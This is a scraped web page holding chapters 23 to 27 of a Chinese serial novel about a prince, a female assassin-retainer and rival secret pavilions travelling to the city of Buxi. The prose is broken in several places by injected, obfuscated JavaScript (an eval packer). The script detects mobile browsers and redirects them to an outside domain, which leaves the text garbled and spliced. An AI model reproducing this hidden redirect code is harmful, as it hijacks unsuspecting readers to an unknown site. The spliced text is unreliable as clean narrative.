0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那是当然。”宁佳与笑眼盈盈，“公子高兴，属下有何不悦？” 分明是实打实的蜜语甜言，宁展却不觉称心，道：“不必奉承。我是在问，你自己高兴否？” 宁展这么问，宁佳与反而不确定了。 “高兴......啊。此番入宫，不止领得厚赏、美餐一顿，”她低头点手指，津津乐道，“更是......” 更是看了一出不知特地为谁安排的绝妙戏目。 “更是什么？”宁展上步追问，似乎迫不及待要知道答案。 “更是尤为倾慕公子。”宁佳与如常环抱两臂，径自仰首，凝视宁展。 以往此景，宁展无不是刹那烧红耳根，而后快步遁逃。不知今次搭错了哪根筋，他竟俯身逼近宁佳与，甚至咧了唇角，满是调侃意味：“当真？” 迎面的黑影将个头儿堪堪六尺七的宁佳与罩全了，只片刻愣神，便由宁展疾手顺了她腰侧的银骨折扇。 宁展转身负手，步履扬长。 “你做什么？！” 宁佳与目瞪口呆，不想宁展非但假面造得出神入化，堂堂世子，竟将这小偷小摸的功夫也练到如此境界。 “扇子还我！” 24. 扇面 宁展并未因身后的呵斥停步，只洋洋挥起银骨扇，边走边答：“与姑娘何以那般吝啬？就借我把玩两日好了。” 宁佳与抚着胸膛顺气，阔步追上那想一出是一出的公子哥，质问道：“您倒是引以为乐，可我如何防身？” 公子哥倒还愿意接应迟来的宁佳与，稍作驻足。宁展捏住扇骨中段，起手一转，折扇在他五指间顺当掉了头。 银骨扇的尖端尤为锋利，且内嵌暗针。二人客栈初逢，宁佳与便是以这尖端刺出的细针给了他一记下马威。 日前宁佳与夜探归来，常见宁展在内院练功。他固然用剑如神，却对江湖上诸般稀奇古怪的暗器应对无门，以致宁佳与不防他竟敢伸手来取银骨扇。 眼下，宁展更是握掌把住折扇尖端，随之悠起扇柄，轻轻敲在宁佳与的头顶，道：“景安地界，凭与姑娘逃遁的身手，谁人追得上？你还需要防身？” 宁佳与顺势伸手抢扇，怎料宁展仗着个头将银骨扇高高举起，任她蹦跶。 她仰头看看坚实的房顶，又侧眼去瞟周遭来往的隐士，打消了动身夺扇的念头。宁展没等她思忖，早已走远。 这还是宁展头回在她面前占了上风。 宁佳与一脚踢开游廊上枯落的蔫红桃花，那花瓣却浑不吃蛮劲，只低低飘起须臾，便坠到她泥泞的黑靴上。 她气得拳头紧，故蹲身伏膝，捏起花瓣，几欲奋力抛去。 然起势顿住，她收了手劲，将那片枯红小心置于园土之上，后放步离去，嘴里喃喃念着什么。 隔日清晓，晚春踏枝而去。狭路相逢正抽青，晃眼即至落花时，前昔总飞逝。 青竹暗桩，昂首碧空如洗，垂眸缤纷遍地。 一夜之间，满园桃色齐降，近乎完全遮上先前零散的枯红，是个风光雅葬的意思。来年万象复始，再为主家添鲜艳。 宁佳与大早上被外头吵醒，兴致正低。她将踏游廊，则见宁展雍容方步、款款入院。 柳如殷紧随其后。 其实宁展身边照例跟着以宁，身后跟着以墨和景以承，景以承边上，才是柳如殷。 宁展瞧出宁佳与面色不虞，但不明所以，仍挂着笑径直走向她。 二人堪堪站定，宁佳与一把夺下宁展手中未及递送的银骨扇，纵声直呼：“这不是元公子吗，哪处逍遥去了？也不带着同僚，忒不仗义。” 宁展整夜未归不假，却不逍遥，反而为宁佳与颇费了一番心思，因此深感冤屈。他当机立断抢回折扇，腾空一打，扇面利落展开。 而后......宁展竟自顾自地给她摇起了凉风？ 宁佳与因宁展二度夺扇冒的火未及发作，两颊碎发便乘风飘起来。如此骇人的示好，她不免退步猜疑。 宁展莫不是给她激得失了智了？ 这情况可比她直截将人除掉严峻得多。 宁展死了，凭善王的口舌，能杜撰出成千种英勇就义的说法，也算不白死。但若是傻了，恐怕就...... 宁佳与心里盘算着自己、师父及某只小信鸽的后路，连逃跑时带多少含桃都数上了，忽听宁展不悦地唤：“小、与、姑、娘。” 见宁佳与醒过神仍不回话，宁展忙把银骨扇换向自己摇两下，以免被不解风情的狐狸气得倒地。 他不多贪凉，只一会儿便将扇面转回去，小声恨道：“宁佳与！你倒是看一眼啊，又往你那乌七八糟的脑袋里装扮什么了！” 宁佳与闻言定睛，终于注意到前扇后摇的扇面与昨日不同。 几个时辰未见，银骨折扇身着新衣。那衣料，似乎正是宁展替她向景泰请赏的苎麻细缎。 宁佳与接过焕然若新的银骨扇，整个人睡意全无。她细细抚摸着扇面，逐节逐寸。 此扇不见经传，但其中工艺十分冗杂，过了宁展的手，却并未出岔子，且换上了绛红新色。原先的残缺之态业已被抹去，俨如浴火重生的祥麟瑞凤，跃然掌中。 这回，好像是她......不识好人心了？ 若说以往洁白似玉的扇面是清冽冬雪，而今灼比红叶的细缎便是盛夏烈阳。 二者各有天地，势同水火，绝不两立。 就像它们身后各择一色的主人。 宁佳与行事不羁，虽未怠慢过银骨扇，却也不似此时这般小心捧着。 她将扇面开了合、合了开，反复察看，自觉陌生又熟悉。 通体泛着柔光的节节银骨，及扇骨上精细入微、别出心裁的嵌花与雕饰，熟悉。苎麻细缎的绵韧，及扇身握在手里若有似无的温热，陌生。 扇骨冰凉，因何而热？ 宁展身后那几位或许听不清二人的对话，但目光悉数投向她，宁佳与不便追问，于是笑道：“多谢公子。” 宁展并未回应。 他对人性本恶司空见惯，至于这观念何年何月深入骨髓，他记不真切了。此际的沉默，却是因为他好像看到了另一种答案。 这是宁佳与唯一一次不曾掩口遮面，确乎发自内心的笑。 他看到皓齿朱唇，也看到他不禁淌入的凌凌之流。那光景清润秀澈，与奸人的坏水泥沙互不相容。 “……我不过借花献佛，无须言谢。”宁展说罢侧身，对以宁点了点头。 以宁起手作引，道：“容我正式向诸位介绍，这位是柳如殷，柳姑娘，以某的旧识。此番去往南边寻亲，望随我等同行，如此大伙儿相互也能有个照应。” 柳如殷向几位欠身致意。 景以承捧着卷竹简，谦恭作揖。他今次又是半束冠发，长衫等身，书生打扮。 以墨虽不随行南下，但也客气回礼，端立旁听。 对旁人向来和善的宁展更不必说，笑微微颔首。 唯有一位格格不入，兀自惊叹。 什么？！ 以宁能这么说，定是得了宁展许可。巧就巧在宁佳与方才吃人嘴短，收了折扇，再如何也不至于当场驳了宁展面子，便只在叹在心里，不曾吭声。 宁佳与并非看柳如殷不顺眼，亦无心找茬。她是真的想打听打听，这位姐姐以何种手段让宁展如此快当地转疑忌为接纳？ 同是形迹可疑，同是换取信任，显得她这个先来者蠢煞人也啊！ 宁佳与看向柳如殷，全神倾注，丝毫未觉察此处仅剩她尚未应柳如殷的礼。 放在平时，宁佳与不做那等没眼色的下属，实在要怪，只怪柳氏腕间的刺纹于她而言十分扎眼。 那刺纹猩红，但她不是第一眼就盯上了柳如殷的手腕。 柳如殷虽同数位寻芳楼女子往来甚密，穿着打扮却与她们不甚相近，反将自己裹得出奇严实。 若是前番春寒料峭之时，便也罢了。而今眼看要入夏，日头一天比一天暖和，她却仍是这身里三层、外三层的衣装。 指间缠满麻纱还不算完，颈脖绕了数圈的碧色绸子更是令人看得难以呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁佳与将将触上腕间白纱，柳如殷小臂微颤，两手登时垂了下去。她却看明白了，这一颤，并非始于惶恐，而始于警觉。 “这纱粗糙，恐磨了姑娘的手......”柳如殷抱歉摇头。她接上宁佳与落空的右手，安抚小猫小狗一般，柔柔地握着。 宁佳与爽气道：“无妨、无妨！” 几人寒暄一番，拾掇自个儿赶路的行囊去了。 昔年，姐弟二人临别之际，皆是以墨至纤至悉地给以宁收捡包袱。 年少的以宁离了宁展便是追着以墨跑，全然顾不上阿姊这回又给自己装了几本医书、几块肉饼。 不知何时起，以宁比以墨高了不止一个头，不再是小跟屁虫，只求阿姊莫再给他装晦涩难懂的药典。他嘴上抱怨，可下次再见阿姊，总带回来几本被翻得掉了纸页的医书。 直至旧年，宁展替以宁筹办及冠礼，以墨方才恍然——或许她不该再替小弟收捡包袱，亦不该再勉强他做些不喜欢的事了。 而今，以墨作为旁观者，看着以宁胡塞一通，竟将他最不乐意看的药典也一并装了进去。 她无奈道：“阿宁，千万注意身体。空闲时，记着给阿姊来信。” “放心罢阿姊，我又不是小孩儿。”以宁边说边往包袱里丢东西。 “是吗？可阿姊大半年都没有你的信，”以墨稍稍探头，神色关切，“还以为你忘了。” 以宁身形一滞，立刻打断以墨：“定是那捎信的办事不力。” 听以墨不言语，他回过头，认真道：“我写了，真的。阿姊若是不信，我还能背——” 以墨哭笑不得，摆手道：“我信，我信。再说你那三两行字的信，阿姊也能背啊，光是‘见字如晤，展信佳’便要占去一行，末尾‘言不尽思，望珍重’又占去一行。这些还都是宁世子教你的罢？” 25. 暗阁 真教阿姊说对了。 以宁自小陪宁展温书，自己却是半页纸都看不完，字更是写得像鸡爪沾了墨水，单对舞刀弄枪的事情有兴致。书到用时，自然得向宁展求援。 奈何言辞再漂亮也抵不住那一纸的爪，他只好草草写下三两行，以报平安。 以宁勒紧包袱，老实道：“我是怕阿姊看着辛苦。” “不要紧。阿宁写，”以墨递上捧在手中有一会儿的白水，“阿姊便一字不落地读完。” 主屋。 宁展决计同宁佳与说回敞亮话，遂在此之前将她与旁人的脚步隔开。时下，房中只他们二人对立。 虽不知宁展又要留她作甚，宁佳与警惕了不少。宁展近一步，她便远两步。 宁展扶着门框往外探，明确四下无人后仍不放心，唤来两人守在门外三丈处望风。 他像是终于想起被自己晾在身后的宁佳与，赫然大步回身。好在宁佳与闪得及时，否则唇角定要同他额眉贴个正着。 宁展尚未深思后果，耳根业已烫得似工匠反复锤打的铁片。 穿堂风越窗而来，顺路牵起宁佳与两肩的发丝，擦过宁展面颊。 许是裹着清风，细丝掠人时，触感甚乎可以媲美贵戚权门夏令独享的羽纱，尤为松软。 宁展喜冰，不但仲夏须得成日“抱冰”而卧，即便孟冬也非冰镇之水不饮。此刻的滚热触上沁凉，他却不免打了冷颤。 宁佳与见他神色古怪，随口捡了宁展翠蓝的外袍就说：“元公子的锦衣华服果真新奇，这色泽质料、绮纹丽绣，属下还不曾见过几回呢。” 宁展身为众人口中的圣贤，衣着装束惯是低调朴雅。 至多不忍辜负母亲年年为他备选衣料的心意，因而留下了些许绸缎，却不曾命人在上头穿花纳锦。为此，宁展没少遭礼官诟病他卷着粗布赴宫宴。 今这一身蓝袍白衫更是素净简明，从暗桩里抓谁来看，都是宁佳与胡言乱道。 宁展不欲与她争辩，直截道：“你师父在步溪王室中，可有一席之地？或者，能否同步世子说得上话？” 宁佳与没想他能敞亮至此，竟是毫不避讳地提起这两件彼此间从未摊开相谈之事。 她师父的权位，以及步溪王室。 宁佳与撇去调笑的情态，质疑道：“你遣人刨我根底就罢了，连我师父吃哪儿的饭也要挖干净不可？” 宁展似笑非笑，淡然回问：“你师父既有胆派你孤身一人行刺嘉宁世子，你又何须替他杞人忧天？” 宁佳与哑然。 能将刺杀自己说得那般云淡风轻，这世上恐怕找不出第三位。一位是步溪世子，另一位便是她跟前这人。 她猜到自己与宁展会有当面锣、对面鼓的一天，孰知正是今日？ 宁佳与其实清楚行刺这事对方早有觉察和防备，不然她没必要剑走偏锋，主动出现在宁展视线内。 可打从她后颈捱了一道口子至今，宁展待她的态度可谓不阴不阳，近来更是好得没道理。 二人一言不合便能争上几个昼夜，但某些事上又有着无端的默契，心照不宣。再按照宁展与人兜圈子的作风，她私以为种种举动皆有其深意。 简言之，当下远未到双方张口剖开此事的时候。纵时候到了，也不会似这样毫无征兆。 宁展自顾歇坐，托来桌上的茶细品，仿佛急着捅破窗户纸的另有旁人，好不惬意。 他放了杯盏，看宁佳与犹无心言语，方才道：“没记错的话，被刺客盯上、陷身险境的是我罢？怎的与姑娘貌似比我还为难？” “陷身险境？”宁佳与一哂，绕椅落座，像模像样地效仿宁展悠哉品茗之态，懒散问：“在下仿得可对？” 宁展见状也不恼，饶有兴味道：“若来日我遇险，与姑娘可愿相助？” “如何相助？”宁佳与挑眉戏谑，“要我把自己了结了？” 宁展忍俊不禁，道：“你我之间，哪里就到这地步了？你不是没对我下手么。” “你我没到，但话到了。什么麻烦，”宁佳与不再看他，掏出含桃解馋，“说说看。” “实不相瞒，嘉宁确有麻烦，且麻烦不小。是以，适才问与姑娘师父之事，极其重要。关乎整个青竹阁的命运——”宁展端直身子，正色道，“亦关乎鄙人。” “这......步溪王室吗？”宁佳与掂量着，有些拿不准，“但我师父只是一位小吏，不，连个正经官都算不上，遑论在王室跟前说话了。” “若青竹阁密报无误，与姑娘是听雪隐士，那么你师父，当是听雪阁李主事罢？” 只要青竹阁能查到的消息，少有纰漏。宁佳与身份无误，那么她师父的身份也不会错。宁展是推测宁佳与尚不愿全盘托出，婉言恳谈。 然依宁佳与看，宁展连听雪阁也点明了，是一点儿余地没打算留。 宁佳与沉默地与他对视，其间不慌不忙吃完了几粒含桃，双唇越发殷红。 “对。”她两手上下一掸，“我是听雪阁中人。可听雪阁由步溪微王掌权，微王历来与世无争，极少吩咐阁里替他做事。我师父，也不与微王交往。” 宁展凝瞩不转，认真道：“小与姑娘，并非鄙人不信你。据我所知，听雪阁应当在步世子手里才对。‘听雪’之名，正是他笔墨。” 宁佳与闻言略有诧然，但收得极快，道：“在下也同公子说句真心话，过去，我一直认为三大暗阁的掌阁皆立于王座之上。” 确切来说，她是动身嘉宁时，方得知青竹掌阁为宁展，而非善王宁善。 此刻，她依旧不能断定听雪掌阁究竟是微王步长微，还是如宁展所言为世子步千弈。 宁展阅人多矣，虽知宁佳与或有保留，却是尽她所能坦陈了。 他不再追问，颔首道：“多谢与姑娘相告。如此，我等须得即刻启程，前往步溪城。” 面对宁展的直言和感谢，她那些零碎的实话压根不足挂齿。宁佳与心中不安，一时想不通自己坚持“师父的叮嘱”是对是错。 宁展从柳如殷那处得知元太后尚且安好的音讯，众人本无须匆匆赶路，至少整装定心而行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679231|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般情急，盖因步溪地界的青竹暗桩数日前出了大乱。 实则莫说青竹阁，三大暗阁哪个从未杀人放火、从未惹是招非？往往不论问题大小，甚且不必掌阁出面，暗桩多能自行摆平。 暗阁虽凶，却没有息事宁人如饮水也似的神力。 凡不幸亲身接触到暗阁的外人，如若不死，怕是后半辈子都得念着老天保佑小命，念着暗阁之后令人不可直视的面孔。 暗阁背靠王室，后边儿站的不是少君便是君王。 按理说，该是群无所顾忌之辈，完全无须遮遮掩掩将行事藏于地下，以致成为如今登不得明堂、走不上大道的所谓暗阁。 个中缘由浅显易懂，却是只能意会，不得言传。 人生无处不江湖，庙堂何尝不是杀人不眨眼的暗阁？ 廷臣日日勤政，谏书未曾少过；口中为君为民，忠言未曾断过。 现实却是，堆积如山的奏章不过是问安，抑或参上自个儿的死对头一本；堂上呼号喊得越是大声的官，背地侵吞的金银数目越是惊人。 暗阁原不叫暗阁，没有像样的统称，但头上也戴着美观的乌纱帽，其名曰“为护一方安危”。 若论大同之小异，隐士不比朝臣假仁假义。他们的确奔忙在刀尖之上，各为其主，捍卫着庙堂无人可以出手保全的利益。 然则诸般手段过于极端，名为隐士，实为死士。 对外宣“人不犯我、我不犯人”为本，内部却执“犯我者格杀勿论”为令。 此等亡命之徒的作风比贪官污吏更不受世俗接纳，也免不得有心人捏造暗阁奉“与其维护自己、不如残害他人”为旨。 故暗阁初立，便被若干“知之者”挂上了卖狗悬羊的招牌。 七州境内，仅三方王室发展暗阁，即多处占了大头的嘉宁、墨川、步溪。 四小州不知暗阁前身更名苟延于世，且权轻而不善斗法，纵能洞悉，亦无暇参与狮虎相争、豺狼相斗的局。 彼时大州为保住暗阁，对民间流言睁一只眼闭一只眼。各家也长了记性，此后在外不论手腕如何凶残，皆是动静愈小愈好。 唯独一件事不能草草了结，即“知之者”的性命。 三大暗阁在此事上不谋同辞。 不久，七州境内管不住嘴的悉数没了影，方今世上知晓暗阁存在的外人，较知晓敬令者更少。 步溪王室自然明白暗阁交锋必有伤亡的道理，百姓却只能听人讲故事。 道是，一庄稼汉在集镇酒家内大开杀戒。仅两盏茶的功夫，此人不由分说，将堂中七位公子连同数十位随从屠了个精光！官府遣小吏前去问话，集镇乡民有言，这草芥人命的莽夫，正是嘉宁人氏。 须知，三大暗阁得以在对方的地界上各设暗桩，由头便是约束同乡人。若不然，王室不会应许威胁如此之大的组织在自己脚下扎根。 这回之所以说步溪地界的青竹暗桩惹了麻烦，官话以蔽，乃渎职。 农夫此举，非但惊起百姓议论纷云，更引得步溪王室侧目不止。 26. 神仙 诸如“大开杀戒”“不由分说”“草芥人命”添油加醋的说辞，宁展一听就明白了。 那风言惑众之人多半不知就里，便是东拼西凑写成了这段骇人听闻的故事。至此传扬开，唯恐天下太平。 这般一来，大伙儿终日堵在官府门前等说法，谁还纠结此事的来龙去脉。 可外州人伤天害理、惨无人道，犯得着为难自家官府？ 倘事发别处，兴许不至于此。如是点了步溪的屋子，任你背靠大州还是神仙转世，谁也别想善了！ 步溪地界，天生兽族。哪怕化了人形，从古至今没少被指摘狼戾不仁、野调无腔、兽性难移。 遭外州人仇视、耻笑是常态，更有甚者坏事做尽，直把步溪子民当玩物。抓了去，圈养虐打、供人取乐，都还只是明面可见的作为。 而今出了嘉宁人氏在步溪集镇肆意屠戮那等触目惊心之事，岂不正撞了那蓄势欲发的三弓床弩[1]？ 官府门前，说是大炮炸了膛也不为过。 “吃白饭的官老爷，大门一关就装死，赶紧滚出来。” “外人都杀到自家饭桌上了，你们还要窝囊到几时？” “呸。这官府横竖没用，不若拆了做军营。免得被打个狗吃屎，还巴巴谢人家赏。” “外头那些渣滓，也配同我们狗儿相提并论？” “他莫不是外州人？竟敢诋毁兽族。” “我才不是外州人。你骂便骂，却别骂得太难听了。” 乌泱泱的人群在此围了将近五日。 起初，他们仅是固执立候，可委屈了谁也不能委屈自己，于是每逢饭点齐齐归家，待肚饱气足，再约上街坊邻里赶回去接着痛骂官老爷。 但“痛骂”一词，又未免有些冤枉人。 虽然步溪臣民骨子里最不能磨灭的便是血性，但他们要血性，更要唯步世子之命是从。 步世子说“须得遵守律令”，他们没日没夜地学规矩。 步世子说“须得修身养性”，个个诵经抄文。 步世子说“须得微笑待人”，大伙儿再没对谁甩过脸子。 是以，百姓们口头说得如何难听，面色、声气也得是波澜不惊之意，而非痛骂之态。如有耳不能闻者到此一瞧，定以为官老爷办了什么好差，正大受褒扬。 几天下来，抗议的风势越发难挡，门前水泄不通。 日头大了，他们亦无怨言，各从家中搬来竹凳木椅，排排而坐，就是不散，耐性非常人能比。 步溪微王的确与世无争，步世子更则青出于蓝。 步千弈为人淡泊清高，可谓云心月性。朝堂内外事宜自有其父得力亲信操持，若非万不得已之事，他轻易不会出手。 故而今城中沸沸扬扬，他不露面，公认并无不妥。百姓们反倒担心因着官老爷办事不力，扰了步世子清修。 宁世子的处境显然不如人家那般安闲。 前番五人，眼下仍是五人，只以墨换了柳如殷。 景以承兴致勃勃踏上青竹阁简车，入座后方惊觉：“上邪呀！这、这马车为何比咱们景安的还要挤人！” 他说的不错，原先肩膀相贴、膝盖相抵，眼下非得两臂胸前交叠、膝腿前后交错，才勉强容得下五人。 隐士出行不乘车，这青竹简车，本就是南行前宁展照着他与以宁二人的身量吩咐预备的。若单单加上宁佳与，还算宽松。 车内已然拥挤不堪，还要听娇气公子说废话，以宁不吐不快：“要不您走着去？有车坐不错了，您又不会骑马，这么金贵何苦出远门。” 以宁望向自家殿下，脸上难得表露幽怨。 宁展自上了车便未能展眉，哪儿还有心思普渡众生。 景以承虽时常不受待见，性子却无比开朗。 这头的柳姑娘沉默寡言，那头的世子老师没空睬他，老师的心腹又处处针对他，便与跟自己八杆子打不着的江湖女侠聊得投机。 二人不是一拍即合。 景以承好为人友，今岁出关便先对着景安学界撒网。可惜景安少有人愿意读书，他没交上几个朋友。 宁佳与则是听景以承满口“为何、为何”问不停，像极了和自己两小无猜的一位哥哥。 一路闲话，谈及三大暗阁、数位少君、七州人文云云，景以承好奇尚异，宁佳与耐心解答。 旁的不提，景以承好歹是从宁佳与那儿明白了此行因何着急赶路，甚至连一辆宽敞的马车也不及寻...... 宁佳与道来的奇闻逸事绘声绘影，景以承听得佩服又羡慕。若不是自知骨骼、资质皆平平，和武艺委实无缘，他都想脑子一热闯江湖去了。 “暗阁既是那般凶残嗜杀......”景以承话音未落，即刻被以宁瞪了回去，改口道：“既是那般为邦为民之所，为何皆取了如此弱不禁风似的斯文名？” 宁佳与自信数年江湖不是白混的，除却她无法触及的人事，没什么答不上来。 景以承让她开了眼。 “这个......”宁佳与难为情道，“我确实不知。抱歉啊承仁君。” 景以承疑惑未得解，却是一副开心颜，道：“欸呀无妨！小与姑娘已是我见过最博学多识的女侠了！” 四年，大门不出，二门不迈，总共见了几个女侠？以宁别过头腹诽。 一直闭口不言的宁展不知被谁忽然唤醒，缓缓睁了眼。 他独坐主位，两侧包袱堆起，左手列坐以宁、柳如殷，右手则是景以承、宁佳与。 宁展活络着紧绷许久的右拳，视线亦然向右，漫不经心道：“起先，墨......” “墨珩那厮”顿在嘴边，他扫一眼几人，接着说：“珩良君是要称‘迎柳阁’为‘猛虎堂’的。听闻，是某位勇士提了一句——此名实在粗鄙，像是哪个土匪头子取来压寨的。珩良君好面子，立马将那写着‘猛虎堂’的纸揉了。” 几人聚精会神，景以承尤甚，恨不能将“恩师英明”刻在脑门上，夸得宁展滔滔不绝才好。 车内的目光集于宁展一身，当中不乏有人对他所言早已了然。 “总之，就是那位步世子先定了‘听雪’一名，其余二者皆为效仿。至于何故如此定名，承仁君若能见到他，”宁展不着痕迹地看一眼宁佳与，“不妨亲自问问。” 言语间尽是理所应当的意味，好似效仿听雪阁者与他毫不相干。 毕竟三大暗阁自成立始便少不了争斗，绝无围坐一桌商讨名号的可能。三方各命隐士百般刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679232|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探进展，最后确是步千弈首先定名。 听雪？ 宁展乍听便觉着他装蒜。 步千弈自视清高孤傲，彼时同为大州少君，宁展不是不能理解他拿腔作势的姿态，因而没将这号人物与墨珩看作同类。 可听雪二字一出，他忍无可忍，在府中拍案鄙夷：“他个独通轻功的武夫，扮这酸溜溜的白衣秀士给谁看呢？” 沉思默想后，宁展又觉此名似乎并非一无是处。 若旁人闻悉名号，或途径暗阁，多半以为此乃吟诗作赋的风雅之地。 嘉墨崇文，君子堂前，鲜少有人放肆。起码遇见宁佳与前，宁展是这么想的。于是他效仿此法，定名青竹。 墨川那位听了这遭，笑得合不拢嘴。 墨珩直呼步千弈那冰葫芦里有点儿东西：“高雅，实在高雅！步千弈狂是狂了些，但那神来之笔，本君服了！” 是否真心佩服不重要，现成的模子摆好了，只消他依葫芦画瓢，岂不美？ 墨珩宴请权贵，再招来满堂歌妓，把酒定下迎柳二字，顺带将自个儿金殿的牌匾也换掉。 宁展三言两语结了话茬，复闭目端坐。 好容易得了指点的景以承犹未尽兴，却不宜打搅老师歇息，他扭头转向宁佳与，低声道：“小与姑娘，你若不乏，能否再同我讲些逸事？” 许是因着踏上归途，不久便能见到她又念又怕的师父，宁佳与精神抖擞，不厌其烦：“当然，承仁君还要听什么？” 景以承闻言连连摇头，道：“小与姑娘这就外待了！依着你们江湖的规矩，就叫......景兄！或者以承兄？” “还是叫景公子罢。”宁佳与好笑地抬了抬手，“景公子请讲。” “对了！”景以承两眼放光，“许多年前，我在七州大典上见过步世子一回，确如传闻，孤高寡言。都说他极少露面，如此，我们到了步溪，怎样才能见到他？” “景公子想见他？”宁佳与神色茫然。她转念回思，猜想道：“因为元公子随口一提的托词？” 听得宁佳与用“托词”这说法，宁展眉梢一挑。 “怎会是托词？元兄的建议很真诚啊！不过，倒不全是因着老师的话。”景以承也不以为然，替宁展分说。他右手指天，跃跃欲试：“步世子那般不食烟火，神仙似的，却深得人心。我还想当面向他请教呢。” “景公子何不直接向元公子请教？他的声望，”宁佳与犹豫地看看宁展，又看看景以承，“可比步世子高多了。” 景以承赶忙正色道：“自然要请教！如能兼而有之，不是更好吗？” 宁佳与讪讪，不好直接打击景以承，含蓄道：“嗯......说他极少露面，也不甚贴切。步州境内常年太平，步溪城更是无大事不许外人入城。是以若非棘手命案或烈性猛兽，无须他出面，下吏自会料理。” 景以承似是恍然，问：“像是大理寺卿？断案卓绝？” 宁佳与摇头。 景以承思忖片刻，又问：“像捉妖师？技艺超群？” 宁佳与依然摇头。 “那像什么？” 宁佳与后知后觉，她也说不出旁的。 神仙，大抵就是最契合步千弈的形象了。 27. 请求 景以承还是初次见宁佳与如此苦恼，一时不知该不该往下问。他眨眼干等，等宁佳与随意答些什么，不答也无妨。 他好奇得抓心挠肝，也不想因着让人为难而失去方才结交的朋友。 宁佳与斟酌再三，道：“步世子与坊间的传言相去无几。大家觉得上天入地者即是神，那么他就是神。少君封号‘弈祇’，正是取地神之意。景公子适间说的断案卓绝、技艺超群，哪怕再添上妙手丹青、常胜将军，也......远不足以形容他。” 闻此侈谈，旁听半晌的宁展几欲嗤笑，却唯恐没完没了的疑难转回自己身上。他牙关紧闭，心里斥了哄得天下人团团转的步千弈百八十回。 “竟真有这般神人......”景以承讷讷感慨。 宁佳与敛了眸，小声嘀咕。 “小与姑娘说什么？”景以承道。 “没什么。”宁佳与笑着摸出几粒荷包里的含桃，递给景以承，“吃吗？” 步千弈最像神，可宁佳与始终不这么认为——他就是人啊，有血肉，有悲喜，一步一脚印。 - 尽管步溪臣民口头对外州人尽是“好走不送”的态度，相安无事时动起手来，却是绝对的热心肠。 此动手，非彼动手。 景安至步溪，只一条官道行到底，宁展便是再忌讳，也别无选择。 好在没有什的泥泞陡坡，亦无丛林岔路，还要多亏步溪儿郎力能扛鼎，不但将自家的楼阁筑得伟丽，更将南北通途修得坦阔。 各方官道，按律皆由相通的两地分担承修。步溪二话不说，大包大揽，且官道修下来任人挑不出一处毛病。 这条道，确比嘉宁至景安的泥泞小道平稳，但不比墨川至步溪路程更近。 是夜。 宁佳与拨开帷帘，堪堪望见远处的步溪城门，迎面便遇上几人破口大骂。 为首七人衣紫腰金，当中五人肥头大耳，余下一位蜂目豺声、一位鹰鼻鹞眼。 待他们近前了瞧，脸上无不憋得涨红，逢车、逢人往步溪城去，必要拦下提一句“忠告”。 “别往前走了！那群不长眼的东西死都不肯开门让道！” 上句底气十足，下句只敢说与他们自己人听，却也入了宁佳与和宁展的耳。 “要不是他们人多势众......老子拆了那步溪城的破门！” 宁佳与抿嘴忍笑。 人多势众？ 她看见门下拢共就六个守卫，不过个个牛高马大，让人没胆子招惹罢了。 七人鼻孔撩天，领着后头一众随从经过青竹简车，念念有词。 “这步溪越发分不清哪个是孙子、哪个是爷了，捡了先帝的施舍得以大州自居，还真把自己当回事儿。如今耀武扬威，连咱们都拦！想当初太师府还在，谁敢不敬墨川？” 宁展睁开眼，侧首直盯窗幔。 “轻声些！说法还没讨回去，你就不想活了？” “怕个屁，死都死了，有能耐爬出来塞活人的嘴......” 宁佳与双手环胸，紧了肘弯下的拳头。 景以承脑子转得慢，但耐不住嘴快，有言必出：“这......不对啊。步溪从不主动与外人争执，微王更是亲和大度。怎会像他们说的那般不近人情？” 柳如殷一路无话谛听，发现几人中景以承最易搭腔。因而景以承每每发话，她便如此点头附和：“景公子这话有理。” 以宁则是巴不得连夜遁入步溪，学来能够自控五感的秘术，免得耳朵疼。 “步溪城平日便是轻易不开城门的。眼下已近二更，近日又出了大事，无论那些墨川人何等来头，”宁佳与道，“守卫不放行才属正常。” 步溪常年封城，宁展对此不是没有顾虑。 车马连着九天不停，休整皆在两个时辰内，仍不足。依沿途青竹暗桩一封接一封的急报看，农夫之事引起的骚乱并未得到控制。 即使他会像那些人一样被守卫截住，也得碰碰运气。 或从此行南下起，或从遇上宁佳与开始，宁展自觉愈发心绪不宁，此刻亦然。 舆外吵嚷渐消，他回眸，宁佳与果然看过来，于是递了眼色，示意宁佳与下车说话。 宁展眼色使得果断，可二人独处相对，他却踌躇不决了。 “怎么了。”宁佳与挥手摆过他面前，“公子？” “听雪阁......我的意思是，若与姑娘你出面交涉，”宁展望向城门，没头没尾道，“他们能放行吗？” 宁佳与随之远望。 风送清辉，城楼上的火把灭了。 旗帜微动，长杆卓立。月下，那倒不似物，似站着个整理衣袂的人。 这是宁展第二次真正有求于她，她自诩聪明，却总是想不出两全的法子，帮不得宁展什么。 片晌，宁佳与收回视线，道：“抱歉，公子。我没有把握。” 见宁展面露不解，她以为对方半信半疑，坚定重复道：“我真的没有把握。” 宁展想解释，自己并无他意。 念头尚未付诸，他不由诧异——他为什么要向宁佳与解释？或说，他为什么怕宁佳与误会？ 